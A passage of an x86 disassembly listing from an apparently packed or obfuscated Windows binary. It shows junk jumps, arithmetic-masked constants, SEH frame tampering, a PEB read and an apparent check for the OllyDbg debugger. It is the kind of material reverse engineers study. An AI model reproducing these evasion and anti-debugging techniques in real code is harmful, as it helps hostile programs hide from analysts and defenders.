[esp+24h+var_24], ebp mov ebp, esp jmp loc_42E5DC ; --------------------------------------------------------------------------- loc_426ED4: ; CODE XREF: sub_424ADA:loc_428081j ; sub_424ADA+9307j lea eax, [ebp-24h] call sub_426719 locret_426EDC: ; CODE XREF: sub_42C2D2+18j retn ; --------------------------------------------------------------------------- loc_426EDD: ; CODE XREF: sub_42CB49-5E63j jmp loc_42D047 ; --------------------------------------------------------------------------- loc_426EE2: ; DATA XREF: sub_424BF9+3F97o call sub_42D765 retn ; --------------------------------------------------------------------------- loc_426EE8: ; CODE XREF: sub_429017+5j jmp nullsub_12 ; --------------------------------------------------------------------------- locret_426EED: ; CODE XREF: sub_42E5B2+Aj retn ; --------------------------------------------------------------------------- loc_426EEE: ; CODE XREF: sub_429E77-4DC8j call sub_42C423 loc_426EF3: ; CODE XREF: sub_42E808+Dj add eax, 47B8E398h xchg eax, [esp+24h+var_24] jmp loc_4294AF ; --------------------------------------------------------------------------- loc_426F01: ; CODE XREF: sub_426E98+8071j add edx, 14h mov ecx, [ebx+edx-8] or ecx, ecx jz loc_42E0A8 loc_426F10: ; CODE XREF: wto1jq8f:loc_42C043j call sub_42B5E4 jmp loc_426E0B ; --------------------------------------------------------------------------- loc_426F1A: ; CODE XREF: sub_429D4E+22j lea eax, [ebp-14h] mov dword ptr [eax], 737361h push offset sub_426B57 jmp loc_42E696 ; --------------------------------------------------------------------------- loc_426F2D: ; CODE XREF: sub_427106:loc_428D22j push 0D19D6E9Fh pop edx or edx, 2A3A4EFh test edx, 40h jmp loc_426B46 ; --------------------------------------------------------------------------- pop ecx test esi, eax jmp loc_429B33 ; --------------------------------------------------------------------------- loc_426F4C: ; CODE XREF: sub_424556+Ej push offset sub_427752 jmp nullsub_13 ; --------------------------------------------------------------------------- loc_426F56: ; CODE XREF: wto1jq8f:00426B27j xchg esi, [esp+28h+var_28] push 3 push 5CE2518Fh mov [esp+0], ecx push 0C36E7AE9h pop ecx rol ecx, 1 xor ecx, 86DCF5D3h jmp loc_42D96F ; --------------------------------------------------------------------------- loc_426F76: ; CODE XREF: sub_427D82:loc_42EC34j jz loc_429C55 jmp loc_42CDCA ; --------------------------------------------------------------------------- loc_426F81: ; CODE XREF: wto1jq8f:0042B050j ; wto1jq8f:loc_42D963j push 0 push 4 push 0DE33213Eh pop eax xor eax, 4E00DDE4h jmp loc_425F1C ; --------------------------------------------------------------------------- loc_426F96: ; CODE XREF: wto1jq8f:0042914Bj ; wto1jq8f:0042F211p mov [esp+38h+var_38], edi pop edi mov edx, [edx] push edx push eax jmp loc_42FAFC ; --------------------------------------------------------------------------- loc_426FA3: ; CODE XREF: sub_4245D6:loc_4243FBj jz loc_42B9C1 jmp loc_428B13 ; --------------------------------------------------------------------------- loc_426FAE: ; CODE XREF: sub_4282FE-2377j push eax push 4 push 28h call sub_424556 loc_426FB8: ; CODE XREF: sub_42E9E8-5510j jmp loc_42EB23 ; --------------------------------------------------------------------------- and ecx, ebp push ebp jmp sub_427E50 ; --------------------------------------------------------------------------- loc_426FC5: ; CODE XREF: sub_426E98+Cj mov [ebp-1], al cmp byte ptr [ebp-1], 0 call sub_42433B loc_426FD1: ; CODE XREF: sub_4245D6+5F39j jmp nullsub_14 sub_426E98 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426FD6 proc near ; DATA XREF: sub_42C379+4o ; FUNCTION CHUNK AT 00425F26 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00429781 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042EDF6 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042FF5D SIZE 00000005 BYTES add [esi], eax xor [esi], ebx add [esi], ecx xor [esi], edx push 0CC79495Ah pop eax or eax, 764BEA4Ch jnz loc_429781 sub_426FD6 endp ; START OF FUNCTION CHUNK FOR sub_42D877 loc_426FF0: ; CODE XREF: sub_42D877+6j jmp nullsub_204 ; END OF FUNCTION CHUNK FOR sub_42D877 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_426FF5: ; CODE XREF: sub_426535+253j jmp sub_424585 ; --------------------------------------------------------------------------- loc_426FFA: ; CODE XREF: sub_426535-21FFj cdq loc_426FFB: ; CODE XREF: sub_426535:loc_42F2F9j lea eax, [ebp-25Ch] cmp dword ptr [eax], 4742444Fh jz loc_4265DB jmp loc_429A4A ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- mov esi, 0F30CFD90h jmp loc_426C0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429308 loc_42701C: ; CODE XREF: sub_429308:loc_424533j xor edi, 6B410B1Eh sub edi, 472FB9A0h add edi, 5384D08h xchg edi, [esp+0] jmp sub_42A56D ; END OF FUNCTION CHUNK FOR sub_429308 ; --------------------------------------------------------------------------- locret_427036: ; CODE XREF: wto1jq8f:loc_427A13j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9B0 loc_427037: ; CODE XREF: sub_42D9B0+1B20j jmp loc_429628 ; END OF FUNCTION CHUNK FOR sub_42D9B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E350 loc_42703C: ; CODE XREF: sub_42E350+13j jmp loc_42B3E2 ; END OF FUNCTION CHUNK FOR sub_42E350 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BD4 loc_427041: ; CODE XREF: sub_424BD4+1B95j jmp loc_42AC2F ; END OF FUNCTION CHUNK FOR sub_424BD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425944 loc_427046: ; CODE XREF: sub_425944:loc_428FBCj mov [edi], eax pop edi jmp nullsub_147 ; END OF FUNCTION CHUNK FOR sub_425944 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42704E proc near ; CODE XREF: sub_4287D0+4j ; FUNCTION CHUNK AT 0042791B SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0042B105 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx jmp loc_42791B sub_42704E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ED21 loc_427057: ; CODE XREF: sub_42ED21:loc_425981j pop ebx mov ebp, offset loc_428B27 xchg ebp, [esp-4+arg_0] retn ; END OF FUNCTION CHUNK FOR sub_42ED21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DA7 loc_427061: ; CODE XREF: sub_427DA7+Cj sub eax, 0C17A267Ch adc ebx, 70DF8F90h adc ecx, edx jmp loc_42A57D ; END OF FUNCTION CHUNK FOR sub_427DA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282FE loc_427074: ; CODE XREF: sub_4282FE:loc_426DFCj jz loc_42F5A8 jmp loc_427F6C ; END OF FUNCTION CHUNK FOR sub_4282FE ; =============== S U B R O U T I N E ======================================= sub_42707F proc near ; CODE XREF: wto1jq8f:0042C40Aj ; sub_42CB36:loc_42EB9Ep xchg eax, [esp+0] pop eax xor eax, eax retn sub_42707F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_427086: ; CODE XREF: wto1jq8f:0042A078j jmp loc_42BCEE ; =============== S U B R O U T I N E ======================================= sub_42708B proc near ; CODE XREF: sub_42BC9B+9p ; sub_42CED1+7p ; FUNCTION CHUNK AT 00424AC8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429293 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00429A94 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D302 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042EBA3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F319 SIZE 0000000D BYTES call sub_42CB36 jmp loc_42EBA3 sub_42708B endp ; --------------------------------------------------------------------------- push edi jmp sub_42C93C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B1 loc_42709B: ; CODE XREF: sub_4266B1+14j jnz loc_42ABA0 jmp loc_42B1FF ; END OF FUNCTION CHUNK FOR sub_4266B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA92 loc_4270A6: ; CODE XREF: sub_42DA92:loc_4277F5j push 2DCE763Dh mov [esp+4+var_4], ecx mov esp, ebp pop ebp push 0E6E479ADh push offset loc_42B804 jmp loc_42E796 ; END OF FUNCTION CHUNK FOR sub_42DA92 ; =============== S U B R O U T I N E ======================================= sub_4270C0 proc near ; DATA XREF: sub_42903A+Ao mov eax, [ebp-4] cmp byte ptr [eax], 0E8h call sub_424232 loc_4270CB: ; CODE XREF: wto1jq8f:0042C838j jmp nullsub_134 sub_4270C0 endp ; --------------------------------------------------------------------------- mov edi, 3D20CE5Ch not esi jmp sub_426A84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA68 loc_4270DC: ; CODE XREF: sub_42AA68-6895j jnb sub_42D2BB jmp loc_42AE7C ; END OF FUNCTION CHUNK FOR sub_42AA68 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_81. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jnb loc_42A01D jmp sub_42CF00 ; --------------------------------------------------------------------------- loc_4270F3: ; CODE XREF: wto1jq8f:00429CF0j test al, al jz loc_42EB19 call sub_427106 retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_427101: ; CODE XREF: sub_42B276-4FEFj jmp loc_429D43 ; END OF FUNCTION CHUNK FOR sub_42B276 ; =============== S U B R O U T I N E ======================================= sub_427106 proc near ; CODE XREF: wto1jq8f:004270FBp ; FUNCTION CHUNK AT 00428D22 SIZE 00000005 BYTES push edx jmp loc_428D22 sub_427106 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42710C: ; CODE XREF: sub_426535:loc_42FB48j lea eax, [ebp-25Ch] cmp dword ptr [eax], 4742444Fh jz loc_4265DB jmp loc_42E518 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AECE loc_427123: ; CODE XREF: sub_42AECE-6AAFj xchg ecx, esi loc_427125: ; CODE XREF: sub_42AECE:loc_42CC86j push eax push 6B19D23Fh pop eax and eax, 0BA55BF64h rol eax, 0Dh add eax, 0CDFE6111h jmp loc_42824F ; END OF FUNCTION CHUNK FOR sub_42AECE ; --------------------------------------------------------------------------- loc_427140: ; CODE XREF: wto1jq8f:00425DCFj rol ecx, 5 ; =============== S U B R O U T I N E ======================================= sub_427143 proc near ; CODE XREF: sub_428D47+Bp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00425F61 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004261EE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004292F0 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00429B95 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042A474 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AC78 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042B895 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042B964 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042BCCA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CA74 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042D7CE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E7AB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042EE1C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042FB71 SIZE 0000000D BYTES mov [esp+0], edx pop edx xor edx, 2BDA06F9h jmp loc_42B895 sub_427143 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_192. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_427153: ; CODE XREF: wto1jq8f:00427B85j jmp loc_428605 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240DC loc_427158: ; CODE XREF: sub_4240DC:loc_42C2CDj push 0 push 157A3537h and eax, 0B33DB1E3h jmp loc_425A7E ; END OF FUNCTION CHUNK FOR sub_4240DC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42716A proc near ; CODE XREF: sub_42DFE5+6j ; FUNCTION CHUNK AT 0042E46E SIZE 00000015 BYTES push ebp mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_42E46E sub_42716A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C40 loc_427176: ; CODE XREF: sub_425C40:loc_42A712j call sub_424585 push 0F43661AAh pop edx ; END OF FUNCTION CHUNK FOR sub_425C40 ; START OF FUNCTION CHUNK FOR sub_42C486 loc_427181: ; CODE XREF: sub_42C486:loc_4240C3j sub edx, 0CAD7D954h and edx, 6C7B51FBh jmp loc_42DB1A ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- loc_427192: ; CODE XREF: wto1jq8f:00428C07j or ecx, 0FF4190BCh ; =============== S U B R O U T I N E ======================================= sub_427198 proc near ; CODE XREF: wto1jq8f:0042BE27p mov [esp+0], ebx pop ebx add ecx, 0F64B9EA8h mov [ecx], eax pop ecx jmp sub_429A99 sub_427198 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_4271AA: ; CODE XREF: sub_42506F:loc_42FCBCj lea eax, [ebp-800h] push eax call sub_42FA6E test eax, eax jz loc_42896C lea eax, [ebp-800h] xchg eax, ebp push ecx jmp loc_42D7E8 ; END OF FUNCTION CHUNK FOR sub_42506F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4271CD: ; CODE XREF: wto1jq8f:0042A251j jmp locret_42AC6C ; --------------------------------------------------------------------------- loc_4271D2: ; CODE XREF: wto1jq8f:00429DADj jmp loc_425B73 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F61 loc_4271D7: ; CODE XREF: sub_428F61+1Aj jmp loc_42F881 ; END OF FUNCTION CHUNK FOR sub_428F61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AE5 loc_4271DC: ; CODE XREF: sub_428AE5+10j jmp loc_425C23 ; END OF FUNCTION CHUNK FOR sub_428AE5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_169. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4271E2: ; CODE XREF: wto1jq8f:0042F3B1j jmp loc_428625 ; --------------------------------------------------------------------------- loc_4271E7: ; CODE XREF: wto1jq8f:004278FFj jmp loc_42A5B3 ; --------------------------------------------------------------------------- loc_4271EC: ; CODE XREF: wto1jq8f:loc_42D16Cj rol edx, 1Ch jmp loc_427E99 ; --------------------------------------------------------------------------- loc_4271F4: ; DATA XREF: wto1jq8f:004290EEo add esi, ebp ; START OF FUNCTION CHUNK FOR sub_426313 loc_4271F6: ; CODE XREF: sub_426313:loc_42B096j add esi, 41919723h mov [esi], eax call sub_42FA0F ; END OF FUNCTION CHUNK FOR sub_426313 ; =============== S U B R O U T I N E ======================================= sub_427203 proc near ; CODE XREF: sub_429BFF-4C06p ; wto1jq8f:00425A16j mov [esp+0], esi pop esi mov eax, [eax+0Ch] lea edx, [eax+20h] mov dword ptr [edx], 2000h jmp nullsub_15 sub_427203 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_427218 proc near ; CODE XREF: sub_42604C+1p ; wto1jq8f:00427F34j ; FUNCTION CHUNK AT 0042C0D2 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov ebp, esp add esp, 0FFFFFFF8h mov [ebp-4], eax mov eax, [ebp-4] mov [ebp-8], eax push offset loc_429D02 jmp loc_42C0D2 sub_427218 endp ; --------------------------------------------------------------------------- pushf jmp loc_4269FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42723A: ; CODE XREF: sub_429B76+402j and esi, 2809CE4h and ebx, 1E6143B7h loc_427246: ; CODE XREF: sub_429B76:loc_42ED3Cj call sub_4263B3 retn ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D434 loc_42724C: ; CODE XREF: sub_42D434-6DA6j jmp loc_42EFF5 ; END OF FUNCTION CHUNK FOR sub_42D434 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E50 loc_427251: ; CODE XREF: sub_427E50:loc_427E65j push 1000C59Ch pop edi and edi, 7B4DD47Ch xor edi, 5CB60144h add edi, 0B38C37FFh xchg edi, [esp+4+var_4] jmp loc_42B975 ; END OF FUNCTION CHUNK FOR sub_427E50 ; --------------------------------------------------------------------------- loc_427271: ; CODE XREF: wto1jq8f:00425B57j jz loc_42996F ; =============== S U B R O U T I N E ======================================= sub_427277 proc near ; CODE XREF: sub_42F6A9-5588p arg_0 = dword ptr 4 xchg edi, [esp+0] pop edi xchg ecx, [esp-4+arg_0] retn sub_427277 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42727F proc near ; DATA XREF: sub_42F6A9-558Do ; FUNCTION CHUNK AT 00426663 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426E10 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00427499 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004285EB SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00428B47 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042DB7B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042EAB0 SIZE 00000005 BYTES xor ecx, 476DCEB0h jmp loc_428B47 sub_42727F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42728A: ; CODE XREF: sub_426535:loc_42E518j jnz loc_42C172 jmp loc_42FD52 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B8FC loc_427295: ; CODE XREF: sub_42B8FC-4552j xchg edx, [esp+0] jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_42B8FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F25F loc_42729D: ; CODE XREF: sub_42F25F:loc_42AACFj mov eax, [eax] add eax, [ebp-4] call sub_42FC85 cmp eax, [ebp-8] jnz loc_42FC74 call sub_42E961 ; END OF FUNCTION CHUNK FOR sub_42F25F ; =============== S U B R O U T I N E ======================================= sub_4272B5 proc near ; CODE XREF: sub_428AC6:loc_42A773p ; wto1jq8f:0042F497j xchg eax, [esp+0] pop eax add eax, 0DD17433Bh mov eax, [eax] push offset sub_42FBC7 jmp nullsub_168 sub_4272B5 endp ; =============== S U B R O U T I N E ======================================= sub_4272CB proc near ; CODE XREF: wto1jq8f:loc_42C2F7p ; wto1jq8f:0042D042j mov [esp+0], eax pop eax call sub_42ED32 call sub_42FE77 loc_4272D9: ; CODE XREF: wto1jq8f:0042A689j jmp $+5 sub_4272CB endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4245B5 loc_4272DE: ; CODE XREF: sub_428333-367Fj ; sub_428333+36Ej ... pop large dword ptr fs:0 add esp, 4 ; END OF FUNCTION CHUNK FOR sub_4245B5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_74. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E04D loc_4272E9: ; CODE XREF: sub_42E04D+1EA0j jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_42E04D ; --------------------------------------------------------------------------- loc_4272EE: ; CODE XREF: wto1jq8f:0042A8AEj jmp loc_42A432 ; =============== S U B R O U T I N E ======================================= sub_4272F3 proc near ; CODE XREF: sub_42F3E7:loc_42B79Fp ; sub_42F3E7+6p ; FUNCTION CHUNK AT 00425A1B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00425FDE SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00426985 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00426D77 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042980B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A15B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042A409 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042AB13 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AF73 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B22E SIZE 0000000D BYTES push large dword ptr fs:0 mov large fs:0, esp mov eax, large fs:30h push edx jmp loc_42A409 sub_4272F3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42730E: ; DATA XREF: sub_42F25F-9A4o jo loc_428610 add eax, [esp] adc edx, [esp+4] add esp, 8 push offset loc_427B6C jmp loc_42ACF4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A467 loc_427328: ; CODE XREF: sub_42A467+6j or eax, eax jnz loc_428D0B jmp loc_425A6C ; END OF FUNCTION CHUNK FOR sub_42A467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42750A loc_427335: ; CODE XREF: sub_42750A+7F1j add ebx, eax jmp sub_426842 ; END OF FUNCTION CHUNK FOR sub_42750A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9FC loc_42733C: ; CODE XREF: sub_42D9FC-663Cj adc esi, edx test edi, 6921EF9Dh jmp loc_42EB65 ; END OF FUNCTION CHUNK FOR sub_42D9FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DCB4 loc_427349: ; CODE XREF: sub_42DCB4-1EA3j or ecx, ecx jz loc_425FD1 mov ecx, [ebx+ecx+0Ch] or ecx, ecx call sub_42DCB4 loc_42735C: ; CODE XREF: sub_425C0D+11j jmp sub_42F15D ; END OF FUNCTION CHUNK FOR sub_42DCB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_427361: ; CODE XREF: sub_42E9E8-43A0j jz loc_42D5F4 not edx jmp loc_426A19 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A985 loc_42736E: ; CODE XREF: sub_42A985+1j pop ebp jmp loc_42FB60 ; END OF FUNCTION CHUNK FOR sub_42A985 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebp mov ebp, ecx xchg ebp, [esp] push ebx jmp loc_42A097 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_427383: ; CODE XREF: sub_426968:loc_42C538j jnz loc_42ED27 mov eax, [ebp-4] push offset sub_42649C jmp nullsub_67 ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_427396: ; CODE XREF: sub_429B76+5C68j cmp esi, ebp jmp loc_427B95 ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B8FC loc_42739D: ; CODE XREF: sub_42B8FC:loc_426B88j ; sub_42B8FC+2C7Ej push edx push 4ABB4BBh pop edx add edx, 0FB96CF65h jmp loc_427295 ; END OF FUNCTION CHUNK FOR sub_42B8FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F4F loc_4273AF: ; CODE XREF: sub_425F4F:loc_42CF4Bj jnz loc_429638 jmp loc_42E744 ; END OF FUNCTION CHUNK FOR sub_425F4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9FC loc_4273BA: ; CODE XREF: sub_42D9FC:loc_42D9CEj jz loc_424668 jmp loc_42733C ; END OF FUNCTION CHUNK FOR sub_42D9FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E0FD loc_4273C5: ; CODE XREF: sub_42E0FD:loc_427F61j jz loc_42B3FB jmp loc_42EE7A ; END OF FUNCTION CHUNK FOR sub_42E0FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4242F8 loc_4273D0: ; CODE XREF: sub_4242F8+6j mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_8], eax mov eax, [ebp+arg_0] test byte ptr [eax-8], 80h jmp loc_42EA1C ; END OF FUNCTION CHUNK FOR sub_4242F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262F5 loc_4273E5: ; CODE XREF: sub_4262F5+3A34j cmp esi, ebx jmp loc_42475C ; END OF FUNCTION CHUNK FOR sub_4262F5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_204. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F987 loc_4273ED: ; CODE XREF: sub_42F987+Fj jmp loc_42A6A0 ; END OF FUNCTION CHUNK FOR sub_42F987 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424ADA loc_4273F2: ; CODE XREF: sub_424ADA+35ADj jmp loc_42DDDC ; END OF FUNCTION CHUNK FOR sub_424ADA ; =============== S U B R O U T I N E ======================================= sub_4273F7 proc near ; DATA XREF: sub_42A467:loc_4247A2o ; FUNCTION CHUNK AT 00429977 SIZE 00000005 BYTES call sub_424585 push offset loc_42C829 jmp loc_429977 sub_4273F7 endp ; --------------------------------------------------------------------------- xor eax, 0CE7DA004h jmp sub_42FBB5 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A30 loc_427412: ; CODE XREF: sub_427A30+74B2j jmp sub_42D322 ; END OF FUNCTION CHUNK FOR sub_427A30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_427417: ; CODE XREF: sub_42A909:loc_424473j call sub_42CB36 call sub_42D22D ; END OF FUNCTION CHUNK FOR sub_42A909 ; START OF FUNCTION CHUNK FOR sub_42A88D loc_427421: ; CODE XREF: sub_42A88D-3110j jmp loc_428B1A ; END OF FUNCTION CHUNK FOR sub_42A88D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4276C3 loc_427426: ; CODE XREF: sub_4276C3+Fj jmp loc_4278A0 ; END OF FUNCTION CHUNK FOR sub_4276C3 ; --------------------------------------------------------------------------- loc_42742B: ; CODE XREF: wto1jq8f:00429BCCj add eax, 449CAFE2h add eax, ebp add eax, 725FDDE2h mov eax, [eax] push eax push esi push 694CC74Bh jmp loc_42F180 ; --------------------------------------------------------------------------- loc_427447: ; DATA XREF: wto1jq8f:0042AB96o add [esi], ebx xor [esi], edx jmp loc_426035 ; =============== S U B R O U T I N E ======================================= sub_427450 proc near ; CODE XREF: sub_42A3EB+6p ; sub_42DB52+4p mov eax, 0D678B7ADh retn sub_427450 endp ; --------------------------------------------------------------------------- loc_427456: ; CODE XREF: wto1jq8f:0042681Cj jmp loc_42ED81 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F61 loc_42745C: ; CODE XREF: sub_428F61+6B42j call sub_42970D call sub_429706 ; END OF FUNCTION CHUNK FOR sub_428F61 ; START OF FUNCTION CHUNK FOR sub_42C423 loc_427466: ; CODE XREF: sub_42C423+13j jmp loc_42E44A ; END OF FUNCTION CHUNK FOR sub_42C423 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_42746B: ; CODE XREF: sub_42A6CD-484Fj mov eax, [eax] pushf push 0AB7A4096h pop edx rol edx, 1Eh xor edx, 57C3F39h add edx, 17724FC0h jmp loc_426E06 ; END OF FUNCTION CHUNK FOR sub_42A6CD ; =============== S U B R O U T I N E ======================================= sub_427488 proc near ; CODE XREF: sub_42D9FC:loc_424668p ; wto1jq8f:00429F69j xchg edi, [esp+0] pop edi xor eax, eax mov [ebp-0Ch], eax lea eax, [ebp-70h] jmp loc_425BF8 sub_427488 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42727F loc_427499: ; CODE XREF: sub_42727F+18D4j jl loc_4285EB loc_42749F: ; CODE XREF: wto1jq8f:0042EDF1j jmp sub_4242D6 ; END OF FUNCTION CHUNK FOR sub_42727F ; --------------------------------------------------------------------------- shl esi, 0Bh popf jmp loc_4285E4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_196. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ED01 loc_4274AE: ; CODE XREF: sub_42ED01-350Bj jmp loc_428FE8 ; END OF FUNCTION CHUNK FOR sub_42ED01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BB58 loc_4274B3: ; CODE XREF: sub_42BB58-195Bj jmp sub_428183 ; END OF FUNCTION CHUNK FOR sub_42BB58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4245FF loc_4274B8: ; CODE XREF: sub_4245FF+13j jmp sub_429165 ; END OF FUNCTION CHUNK FOR sub_4245FF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_90. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4274BE proc near ; CODE XREF: sub_427D82-367p push offset loc_42C52F jmp nullsub_19 sub_4274BE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK 